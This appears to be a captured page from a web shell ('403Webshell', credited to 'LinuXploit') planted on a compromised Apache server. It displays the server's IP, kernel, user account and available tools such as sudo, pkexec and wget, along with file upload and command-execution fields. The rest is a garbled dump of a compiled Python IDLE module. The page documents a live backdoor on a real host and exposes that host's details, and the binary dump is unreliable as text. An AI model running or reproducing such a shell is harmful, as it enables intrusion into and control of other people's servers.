403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/idlelib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/idlelib/CodeContext.pyo
Ñò
ÉÉŽJc@sËdZddkZddklZlZlZlZlZddkl	Z	ddk
Z
ddklZ
edddd	d
ddd
dddgƒZdZdZe
idƒd„Zddd„ƒYZdS(sICodeContext - Extension to display the block context above the edit window

Once code has scrolled off the top of a window, it can be difficult to
determine which block you are in.  This extension implements a pane at the top
of each IDLE edit window which provides block structure hints.  These hints are
the lines which contain the block opening keywords, e.g. 'if', for the
enclosing block.  The number of hint lines is determined by the numlines
variable in the CodeContext section of config-extensions.def. Lines which do
not open blocks are not shown in the context hints pane.

iÿÿÿÿN(tTOPtLEFTtXtWtSUNKEN(tidleConf(tmaxinttclasstdefteliftelsetexcepttfinallytfortifttrytwhiletwithidiès^(\s*)(\w*)cCs|i|ƒiƒS((tmatchtgroups(tstc((s)/usr/lib/python2.6/idlelib/CodeContext.pyt<lambda>stCodeContextcBsÅeZddgfgZeiddddddd	ƒZeiddd
ddddƒZeiddd
ddddƒZd„Zdd„Z
d„Zddd„Zd„Z
d„Zd„ZRS(toptionss!Code Conte_xts<<toggle-code-context>>t
extensionsRtnumlinesttypetinttdefaultitbgcolortstrt	LightGraytfgcolortBlackcCsÈ||_|i|_|id|_d|_dddtfg|_d|_ti	dddd	d
dtƒ}|o!|i
ƒ|iidtƒn|ii
t|iƒ|ii
t|iƒdS(
NtfontiiÿÿÿÿtiRRtvisibleRtboolRs<<toggle-code-context>>(teditwinttextttextfonttNonetlabeltFalsetinfot
topvisibleRt	GetOptionttoggle_code_context_eventtsetvartTruetaftertUPDATEINTERVALttimer_eventtFONTUPDATEINTERVALtfont_timer_event(tselfR'R%((s)/usr/lib/python2.6/idlelib/CodeContext.pyt__init__"s			
cCsŽ|ip;|ii|iif}d}xM|D]E}|tt|iƒdƒƒ7}|tt|idƒƒƒ7}q/Wd}x-|D]%}|tt|idƒƒƒ7}q…Wti	|ii
dd|iddtdt
d	|id
|id|iddd|d|d
tƒ
|_|iidtdtdtd|iiƒn|iiƒd|_tidddt|idj	ƒƒtiƒdS(NitpadxtborderR(s
itanchortjustifyR#tbgtfgtwidthtrelieftsidetfilltexpandtbeforeRRR%(R+R'R(t
text_frameRRt	pack_infotcgettTkintertLabelttopt
context_depthRRR)RR!RtpackRRR,tdestroyR*Rt	SetOptiontSaveUserCfgFiles(R8teventtwidgetsR:twidgetR;((s)/usr/lib/python2.6/idlelib/CodeContext.pyR07s4
 ##	
	cCs•|iid|d|ƒ}t|ƒ\}}|tjo|}t|ƒt|ƒjp|t|ƒdjo
t}n
t|ƒ}|||fS(sÖGet the line indent value, text, and any block start keyword

        If the line does not start a block, the keyword value is False.
        The indentation of empty lines (or comment lines) is INFINITY.

        s%d.0s%d.endt#(R(tgettgetspacesfirstwordtBLOCKOPENERStlentINFINITY(R8tlinenumR(tspacest	firstwordtopenertindent((s)/usr/lib/python2.6/idlelib/CodeContext.pyt
get_line_info[s0
iic
CsÛg}t}x¸t||ddƒD] }|i|ƒ\}}}	||jou|}|	djo|d7}n|	o7||jo*||jo|i||||	fƒn||joPqÃq#q#W|iƒ||fS(säGet context lines, starting at new_topvisible and working backwards.

        Stop when stopline or stopindent is reached. Return a tuple of context
        data and the indent level at the top of the region inspected.

        iiÿÿÿÿR
R	(R
R	(RYtxrangeR_tappendtreverse(
R8tnew_topvisibletstoplinet
stopindenttlinest
lastindentRZR^R(R]((s)/usr/lib/python2.6/idlelib/CodeContext.pytget_contextks

!


cCs®t|iidƒidƒdƒ}|i|jodS|i|joI|i||iƒ\}}x¹|idd|jo|id=qhWn|i|jo~|iddd}x8|idd|jo|idd}|id=q»W|i||iddd|ƒ\}}n|ii|ƒ||_dgtd|i	t
|iƒƒ}|g}|i|i	D]}||dqy~7}d	i|ƒ|id
<dS(sKUpdate context information and lines visible in the context pane.

        s@0,0t.iNiÿÿÿÿiR$is
R((
RR(tindextsplitR.RhR-textendtmaxRLRXtjoinR+(R8RcRfRgRetcontext_stringst_[1]tx((s)/usr/lib/python2.6/idlelib/CodeContext.pytupdate_code_context†s.%			&4cCs2|io|iƒn|iit|iƒdS(N(R+RrR(R3R4R5(R8((s)/usr/lib/python2.6/idlelib/CodeContext.pyR5¦s
cCs^|id}|io-||ijo||_|i|id<n|iit|iƒdS(NR#(R(R+R)R3R6R7(R8tnewtextfont((s)/usr/lib/python2.6/idlelib/CodeContext.pyR7«s

	(s!Code Conte_xts<<toggle-code-context>>N(t__name__t
__module__tmenudefsRR/RLRR!R9R*R0R_RhRrR5R7(((s)/usr/lib/python2.6/idlelib/CodeContext.pyRs	$		 	((t__doc__RItTkconstantsRRRRRt
configHandlerRtretsysRRYtsetRWR4R6tcompileRVR(((s)/usr/lib/python2.6/idlelib/CodeContext.pyt<module>s(

Youez - 2016 - github.com/yon3zu
LinuXploit